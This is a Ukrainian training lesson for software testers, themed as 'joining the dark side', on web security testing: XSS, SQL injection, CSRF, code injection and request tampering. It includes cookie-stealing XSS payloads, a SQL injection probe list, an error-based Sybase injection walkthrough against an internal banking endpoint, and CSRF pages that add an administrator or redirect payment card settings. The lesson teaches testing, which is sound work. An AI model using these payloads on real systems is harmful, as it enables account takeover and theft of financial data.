Рівень 21. Тестування WEB-безпеки

Рівень 21

Тестування безпеки

Переходь на темний бік, ми з тобою таке зможемо зробити, що ти навіть уявити собі не можеш.

Тобі знати треба, як тестувати безпеку, щоб стати справжнім тестувальником (але насправді ми навчимо тебе темної сили сітхів і хакерів).

Основні сили сітхів — це:

XSS-вразливості

SQL injection

CSRF-вразливості (XSRF)

Code injection (та інші рідкісні)

Перехоплення даних

XSS-вразливості

Найчастіше трапляються:

  • Введення скрипта у форму на сайті та виконання його на наступному кроці або в адмінці чи в іншого користувача
  • Впровадження скрипта в URL сайту
  • Впровадження скрипта в запит

З мого особистого досвіду, XSS — це вразливість номер 1, адже вона трапляється найчастіше, завдає серйозної шкоди, а ще її легко експлуатувати.

Cross Site Scripting — «міжсайтовий скриптинг») - тип атаки на вебсистеми, що полягає у впровадженні у видану вебсистемою сторінку шкідливого коду (який буде виконано на комп'ютері користувача під час відкриття ним цієї сторінки) та взаємодії цього коду з вебсервером зловмисника.

Щоб зрозуміти, що таке XSS, давай глянемо на цей код:

<?php
header( 'Refresh: 5; url=' . $_GET['url']);

<html>
<head>
<meta http-equiv="refresh" content="5;url=<?=$_GET['url']?>"></meta>
</head>
</html>

З аналізу коду стає зрозуміло, що запитом виду http://localhost/?url="><script>alert("XSS")</script><!-- легко й невимушено реалізується, власне, міжсайтове виконання сценаріїв.

Чому? Тому що будь-який браузер виконає JavaScript як усередині сторінки, так і тоді, коли його включено в запит. Це його основні робочі функції. Адже браузер не знає, шкідливий ваш код чи ні. Звідси випливає, що завдання програміста — забезпечити виконання правильного коду й обмежити виконання шкідливого. Завдання ж тестувальника — перевірити, що немає можливості впровадити шкідливий код так, щоб він виконувався в браузері.

Трохи уточню щодо коду, який ми аналізували. Команда url=<?=$_GET['url']?> бере вміст рядка URL у чистому вигляді й під час оновлення виконує його заново з усім, що туди допише користувач

Завдання тестувальника

Завдання тестувальника — виявити вразливість і створити баг, щоб програміст її усунув, а хакери не могли здійснити атаку на ваш сайт.

Різниця між вразливістю та атакою в тому, що усунення вразливості дає змогу позбутися й усіх атак, які її експлуатують, а от усунення конкретної атаки від самої вразливості не рятує. Простий приклад: якщо ми, розглядаючи цю XSS як вразливість, усунемо її за допомогою URL-кодування кожного фрагмента переданого скрипту URL, то на можливість проведення атаки зловживання функціоналом переспрямування це зовсім не вплине — зловмисник, як і раніше, матиме змогу переспрямувати користувача на довільний, коректно сформований URL. Замість того щоб боротися з наслідками, ми маємо побороти причину, а саме — усунути ту єдину вразливість, яка уможливлює всі ці атаки.

У цьому випадку вразливість полягає в тому, що GET-параметр url не обробляється належним чином ні під час передачі в скрипт вебсервером, ні перед його використанням у вихідних даних.

Прошу любити й жалувати: ця вразливість належить до класів неправильної обробки вхідних і вихідних даних і є найпоширенішою вразливістю, завдяки якій можливе проведення більшості відомих на сьогодні атак. Отже, щоб усунути цю вразливість, необхідно забезпечити правильну й достатню обробку даних обох типів, при цьому очевидно, що в цьому випадку URL-кодування недостатнє.

XSS буває пасивною й активною

XSS прийнято класифікувати за двома критеріями: вектором і способом впливу. Спосіб впливу також поділяється на 2 види — “активний” і “пасивний”. Ці поняття розшифровуються так: активною є XSS, яка не потребує жодних зайвих дій з боку користувача з погляду функціоналу вебзастосунку, на відміну від пасивної.

Тобто активна — це просто скрипт, який упровадився на сайт і виконається під час обробки сторінки, а пасивну має ініціювати користувач або хакер (клік, перегляд, отримання повідомлення).

За вектором впливу XSS поділяється на відбиту (повертається сервером у відповідь на той самий запит, у якому було передано вектор експлуатації), стійку (зберігається на сервері й доступна в усіх відповідях на той самий запит, що не містить вектора експлуатації) та засновану на об'єктній моделі документа (DOM-based; її можна провести без надсилання будь-яких запитів на сервер).

Якщо раптом забув, то XSS — це атака на користувача, спрямована на виконання в його браузері довільного сценарію

Це визначення ви знайдете в інтернеті для XSS, але воно не зовсім точне. Щоб виконати довільний сценарій у браузері жертви, було б достатньо заманити її на спеціально підготовлену сторінку, розміщену на контрольованому зловмисником сервері. XSS же спрямована не просто на виконання довільного сценарію, а на його виконання в контексті джерела конкретного сайту з метою обходу політик єдиного джерела (Same Origin Policy, SOP) і, як наслідок, отримання доступу до даних і функціоналу клієнтської частини вебзастосунку в межах користувацької сесії та з правами її користувача. Це атака передусім на вебзастосунок, яка реалізує загрозу саме в ньому, а не в браузері користувача.

Трохи поясню ці складні визначення: один і той самий шкідливий скрипт, що краде cookie, можна виставити на своєму сайті, і тоді він не становитиме небезпеки, бо він нікому особливо не потрібен, як і його cookie. Зовсім інша річ — упровадити скрипт у Facebook: тоді в усіх, хто побачить повідомлення від вас, будуть викрадені cookie, тобто доступ до їхніх акаунтів.

Приклади XSS-вразливостей форм введення даних

Дарт Вейдер звернувся до підтримки банку й надіслав оператору тег картинки <IMG SRC="javascript:alert('XSS');"> із впровадженим JS-кодом. Код виконався в нього й в оператора, можна його хакнути й самому стати оператором!

На попередньому зображенні показано налаштування одержувача інтернет-платежу. Замість даних підприємця сітхи ввели свій XSS-код. У результаті він виконується на боці адміністратора бекофісу (адмінки). Доступ хакера до адмінки платіжної системи — це крах.

XSS-вразливості в URL

Полягає в додаванні замість якогось із параметрів запиту javascript-тега. Вразливість є пасивною — для атаки потрібно передати заражений URL жертві або дочекатися, поки вона натисне на кнопку на стороннєму сайті.

Ось тобі приклад:

www.mysite.com/confirmaddress?address=<script>alert(document.cookie)</script>

або

www.mysite.com/confirmaddress?address=%3Cscript%3Ealert%28document.cookie%29%3C%2fscript%3E

Основний інструмент хакера в цьому випадку — URL-енкодер.

Крім впровадження в наявний параметр, можна передавати новий:

www.mysite.com/confirmaddress?address=city"><script>alert(1);</script>&path="><script>alert(2);</script>

http://testsite.test/<script>alert("TEST");</script>

Впровадження XSS у запит

Суть XSS та сама, що й у перших двох варіантах, але завдання хакера полягає в тому, щоб обійти перевірку на клієнті.

Буває так, що скрипти фільтруються на клієнті, але не фільтруються на сервері. Завдання полягає в тому, щоб обійти цю перевірку й надіслати запит безпосередньо на сервер.

  • Вимкнути виконання скриптів на сторінці, додати XSS і ввімкнути виконання
  • Надіслати прямий POST / GET-запит з XSS в обхід клієнтської форми
  • Перехопити запит і додати XSS
Допомога під час перевірки XSS

Вкрай корисні в цій справі модулі Mozilla. Оскільки Firefox — браузер, який можна вільно конфігурувати, усі хакери користуються саме ним. Мало того, вже є багато готових модулів до Firefox, які допоможуть вам у спробі злому. Наведемо приклади:

XSS ME — автоматична перевірка форм сайту на основні XSS-теги (після цього XSS-запит потрібно скласти вручну)

REST client — аддон для надсилання запитів. Якщо у вас є підозри, що можна надіслати запит, заражений скриптом, це ваш випадок.

Right click XSS — найефективніший під час ручного аналізу полів на XSS. Рекомендуємо встановити всі аддони просто зараз.

Програмні комплекси для автоматичного пошуку вразливостей. Ці програми можуть бути платними, тож гугліть:

Acunetix Web Vulnerability Scanner

Netsparker

Отже, давай підіб'ємо підсумки. XSS — найексплуатованіша хакерами вразливість. Дуже небезпечна для банківських продуктів (ризик викрадення грошей). Для неї потрібні знання основ JavaScript, але, попри це, її найпростіше знайти недосвідченому тестувальнику.

Тримай посилання, там є ще дещо про XSS

SQL injection

SQL injection — це впровадження стороннього SQL-запиту в програмний запит. Суть вразливості в тому, що, окрім основного запиту або на шкоду йому, виконається сторонній запит, який розкриє бази даних власників сервера. Наприклад: додати запит, який покаже всі імена та дані клієнтів сайту, або взагалі знищить базу даних (далі — БД).

Чому так відбувається? Тому що зазвичай запит формується на клієнтській частині сайту, а обробляється на сервері, і іноді буває, що захисту від впровадження SQL-ін'єкції немає або вона стоїть лише на клієнті — тоді захищена інформація з БД видається у вигляді системних SQL-помилок. Стає зрозуміло, що мета вашого тестування — отримати SQL-помилку.

Ось як цього досягають:

  • Впроваджують безпосередньо у видимий URL (поточні запити)
  • Впроваджують у фонові запити та в передані дані (RAW, XML, JSON ... )

Потім SQL-ін'єкцію знаходять за SQL-помилкою, яку видано користувачеві.

Основне правило — користувач ніколи не повинен бачити SQL-відповідей або помилок у необробленому вигляді.

Мета тестування — викликати нестандартну відповідь від бази даних.

Щоб зрозуміти небезпеку SQL-ін'єкції, потрібно спробувати її експлуатувати. Щоб отримати будь-які дані з БД, потрібно знати її тип (Sybase, MySQL, Oracle ...). Обов'язково потрібно знати основи SQL. Не бійся, ти вивчиш це на 17 рівні.

Методологія виявлення ін'єкції. Автоматизовано або вручну до значень параметрів запитів додають лапку (вона перерве запит) або логічно неправильний вираз (він видасть SQL exception).

Наприклад:

'

'1

1 OR 1=1

1 AND 1=1

1' AND 1=(SELECT COUNT(*) FROM tablenames); --

1 AND USER_NAME() = 'dbo'

\'; DESC users; --

' OR username IS NOT NULL OR username = '

Розширений список варіантів впровадження в SQL-запит

Ось тобі приклад знайденої SQL-ін'єкції.

(Error-based Sybase Database SQL Injection)

Під час аналізу POST-запиту було виявлено, що додавання ' до параметра logID виводило повідомлення на кшталт error in SQL querry.

Проаналізувавши цю помилку, я дійшов висновку, що цим шляхом можна витягти конфіденційні дані. Ось сам запит:

http://10.1.108.109:9080/p24/privatmoney?step=2&a_card=4*-47*1&commission=1.0'&destinationCountry=UA'&logID=32705'&paymentCcy=UAH'&pmTerms=on&receiverCard=123'&receiverFirstName=test'&receiverLastName=TESTovich'&receiverMiddleName=test'&totalPay=13.0+and+1=convert(integer,(select+min(name)+from+sysobjects where type='U'))--&txtSumm=12'

Тримай скриншот, воїне, щоб краще розібратися

На цьому скриншоті видно, що у вигляді помилки було видано відповідь від бази даних замість обробленої помилки. Очікуваний результат тут — "Неправильний запит". Більше жодної технічної інформації клієнтові повідомляти не можна. Далі демонструємо, як на основі цієї інформації буде проведено злом.

Розбір випадку

Виникла підозра, що в цьому місці можлива ін'єкція.

Припускаючи, що БД буде Sybase, я додав SQL-код, який повернув версію БД: +and+1=convert%28integer,@@version%29--

Ось атакувальний запит:

http://10.1.108.109:9080/p24/privatmoney?step=2&a_card=4*-47*1&commission=1.0'&destinationCountry=UA'&logID=32705+and+1=convert%28integer,@@version%29--&paymentCcy=UAH'&pmTerms=on&receiverCard=123'&receiverFirstName=test'&receiverLastName=TESTovich'&receiverMiddleName=test'&totalPay=13.0+and+1=convert(integer,(select+min(name)+from+sysobjects where type='U'))--&txtSumm=12'

Справді — повернуло версію. Тоді можна спробувати дізнатися ім'я таблиці для Sybase, додаємо +and+1=convert(integer,(select+min(name)+from+sysobjects where type='U'))--

Видало ім'я 1-ї таблиці PMRoles — додаючи методом виключення імена відкритих таблиць, можна дізнатися й усі інші, як-от PrivatMoneyLog;

Далі, знаючи ім'я таблиці, можна дізнатися ім'я стовпця

+and+1=convert(integer,(select+min(name) from syscolumns where id= (select id from sysobjects where type='U' and name=PrivatMoneyLog)))--

Можна дізнатися імена всіх таблиць, стовпців і витягти банківські дані. Вразливість очевидна.

Головне — не захоплюватися, щоб самому не пошкодити дані!

Тепер ти зможеш зрозуміти жарт про батька хакера. І наостанок тримай статтю про експлуатацію SQL-ін'єкції

CSRF-вразливість

CSRF (англ. Сross Site Request Forgery — «Підробка міжсайтових запитів», також відома як XSRF) — вид атак на відвідувачів вебсайтів, що використовує недоліки протоколу HTTP. Якщо жертва заходить на сайт, створений зловмисником, від її імені таємно надсилається запит на інший сервер (наприклад, на сервер платіжної системи), який здійснює якусь шкідливу операцію (наприклад, переказ грошей на рахунок зловмисника). Для здійснення цієї атаки жертва має бути авторизована на тому сервері, на який надсилається запит, і цей запит не повинен вимагати жодного підтвердження з боку користувача, яке не може бути проігноровано або підроблено атакувальним скриптом.

Якось важко зрозуміти, у чому тут вразливість і хто що підміняє. Я знаю, що можна надіслати будь-який запит на будь-який сервер, але ж він його не прийме без авторизації на цьому сервері!

Наведу тобі приклад із практики, мій юний послідовнику темних сил: візьмемо відому соціальну мережу. Пост новини на стіні у ВКонтакті формується через POST-запит. Існувала вразливість: якщо ви залогінені у ВКонтакті й відвідуєте якийсь шкідливий сайт, то від вашого імені на сервер ВКонтакте надсилається такий самий запит із рекламним або компрометувальним вас постом. А оскільки в користувача є активні cookie цього сайту, а у ВКонтакте була XSRF-вразливість, пост, згенерований шкідливим сайтом, публікувався від імені цього юзера, адже сервер його "знає" завдяки cookie.

Реалізація та перевірка CSRF

Суть вразливості — у тому, що сервер приймає запити зі сторонніх сайтів. Під час входу на них жертва (якщо вона залогінена на нашому ресурсі) надішле запит до свого акаунта з шахрайськими налаштуваннями.

Наприклад, у випадку інтернет-банкінгу (з моєї практики):

  • Операціоністу надсилається лист зі стороннім текстом від користувача, який відвідав хакерський сайт
  • Змінюються налаштування приймання платежів: не на свою картку, а на картку шахрая

Як шукати вразливість:

  • Копіюється один із запитів, які створює форма на оригінальному сайті.
  • На його основі створюється вебкомпонент (що надсилає ідентичний запит, але вже з іншими даними), це може бути картинка, невидима форма, кнопка — не так важливо, головне, щоб елемент спрацьовував під час входу на сторінку.
  • Найпростіше створити форму надсилання. Її розміщують на сторонньому ресурсі — блозі, сайті тощо.
  • Тестувальник заходить на сайт із формою за активної сесії на тестованому ресурсі
  • Тепер потрібно перевірити, чи не змінилися дані у вашому акаунті після надсилання запиту зі стороннього сайту. Ви відстежуєте у своєму акаунті, чи виникли зміни, спричинені тим запитом, який ви ввели у форму.
Трохи практики

Візьмімо, наприклад, сферичний сайт у вакуумі, який має цілком стандартну адмінку з функцією додавання нового адміністратора:

Розробник цієї форми нічого не знав про CSRF-вразливість і, природно, захисту від неї не робив. Та й на додачу (щоб приклад був простішим) він передавав дані методом GET. Після натискання кнопки «створити» браузер сформує запит до такої сторінки:

http://site/admin/?do=add_admin&new_login=NewAdmin&new_pass=NewPass&new_mail=NewAdmin@Mail.Com

І після того, як запит буде виконано, на цьому сайті з'явиться новий адміністратор. Здавалося б, ну й що — це цілком звичайний функціонал на багатьох сайтах. Але саме тут і криється головна помилка. Жертву можна змусити виконати цей запит під час заходу на абсолютно інший сайт. Створюємо таку сторінку за адресою http://evil/page.html

І тепер, якщо жертва зайде на http://evil/page.html, браузер спробує завантажити картинку, але замість цього виконає запит до адмінпанелі, тим самим створивши нового адміністратора. Єдиною обов'язковою умовою успішної експлуатації цієї вразливості є те, що жертва має бути авторизована на вразливому сервері в момент проведення атаки.

<html>
<head>
<title>Звичайна сторінка</title>
</head>
<body>
Зі звичайним текстом. Але з незвичайним вмістом
<img src="http://site/admin/?do=add_admin&new_login=Xaker&new_pass=Pass&new_mail=xaker@evil.Com" alt="" width="1" height="1" />
</body>
</html>

Висновок

З тим, що таке CSRF, ми розібралися. Спробуймо виділити основні вимоги для успішного проведення атаки:

  • Можливість змусити жертву перейти на сторінку з додатковим кодом. Або можливість модифікації зловмисником сторінок, які жертва часто відвідує — як то кажуть, якщо гора не йде до Магомета, то…
  • Відсутність захисту від CSRF на цільовому сайті (це турбота вебпрограмістів).
  • Користувач у момент атаки має бути авторизований для дії, яку ми хочемо виконати від його імені
Приклад із практики

Ця форма, будучи розміщеною в блозі, після натискання на кнопку змінювала налаштування приймання коштів в акаунті платіжної системи liqpay.com, якщо користувач залогінений.

<html>

<head>

</head>

<body>

<form action='https://newcnb.test.liqpay.com/' method='POST'>

<input type='hidden' name='do' value='shop_connect' />

<input type='hidden' name='m_name' value='test' />

<input type='hidden' name='m_en_name' value='123' />

<input type='hidden' name='m_url' value='www.TEST.com' />

<input type='hidden' name='m_email' value='test@gmail.com' />

<input type='hidden' name='m_wayout' value='account' />

<input type='hidden' name='m_card' value='5577212915890290' />

<input type='hidden' name='card' value='5577212915890290' />

<input type='hidden' name='currency' value='EUR' />

<input type='hidden' name='m_account' value='26004052713410' />

<input type='hidden' name='phone' value='8200049968880' />

<input type='hidden' name='m_company' value='ооо ооо' />

<input type='hidden' name='m_mfo' value='300711' />

<input type='hidden' name='m_okpo' value='2814221710' />

<input type='submit' value='Pay'/>

</form>

</body>

<html>

Code and command injection

Code and command injection — належить до вразливостей, пов'язаних з виконанням програмного коду на вебсторінці. Здебільшого це PHP-код, і значно рідше Perl, ASP тощо. Може застосовуватися на вебпроєктах, написаних цими мовами. Тема досить вузька, крім того, вона вимагає від зламувача навичок програмування. Запам'ятайте, що такі вразливості існують, і якщо ваш проєкт виявиться написаним однією з цих мов, згадайте потім цю інформацію для тестування безпеки. Наразі достатньо ознайомитися з прикладами таких вразливостей у цих статтях:

Детальніше для PHP (PHP-including)

Детальніше для Perl

Небезпека таких вразливостей дуже велика, оскільки за їх допомогою можна виконати команди на сервері (вимкнути його, наприклад). Але вони трапляються вкрай рідко, точніше, лишилося мало недотеп, які припускаються таких серйозних про...галин.

Ці інші рідкісні вразливості зібрано у цьому документі

Перехоплення даних

Вразливість, специфічна для банківських продуктів. Полягає в перехопленні запитів під час їх виконання та внесенні власних даних: зміні суми платежу або картки платника. Діяти потрібно вкрай обережно та попереджати колег під час тестування.

Інструмент — Tamper Data, плагін для Mozilla.

Сфера застосування — банківські операції та інші місця із засекреченими даними

Практика

Кілька завдань, щоб попрактикуватися.

Стань хакером і перейди на темний бік за допомогою XSS-тренажера

Пройди SQL injection квест

Принеси мені голову програміста, а також надішли скриншоти рівня, якого ти досягнеш у кожному квесті

Та й темні сили також проходять свої темні тести — ось один, і для тебе його приберіг я

Тест

Надіслати скриншоти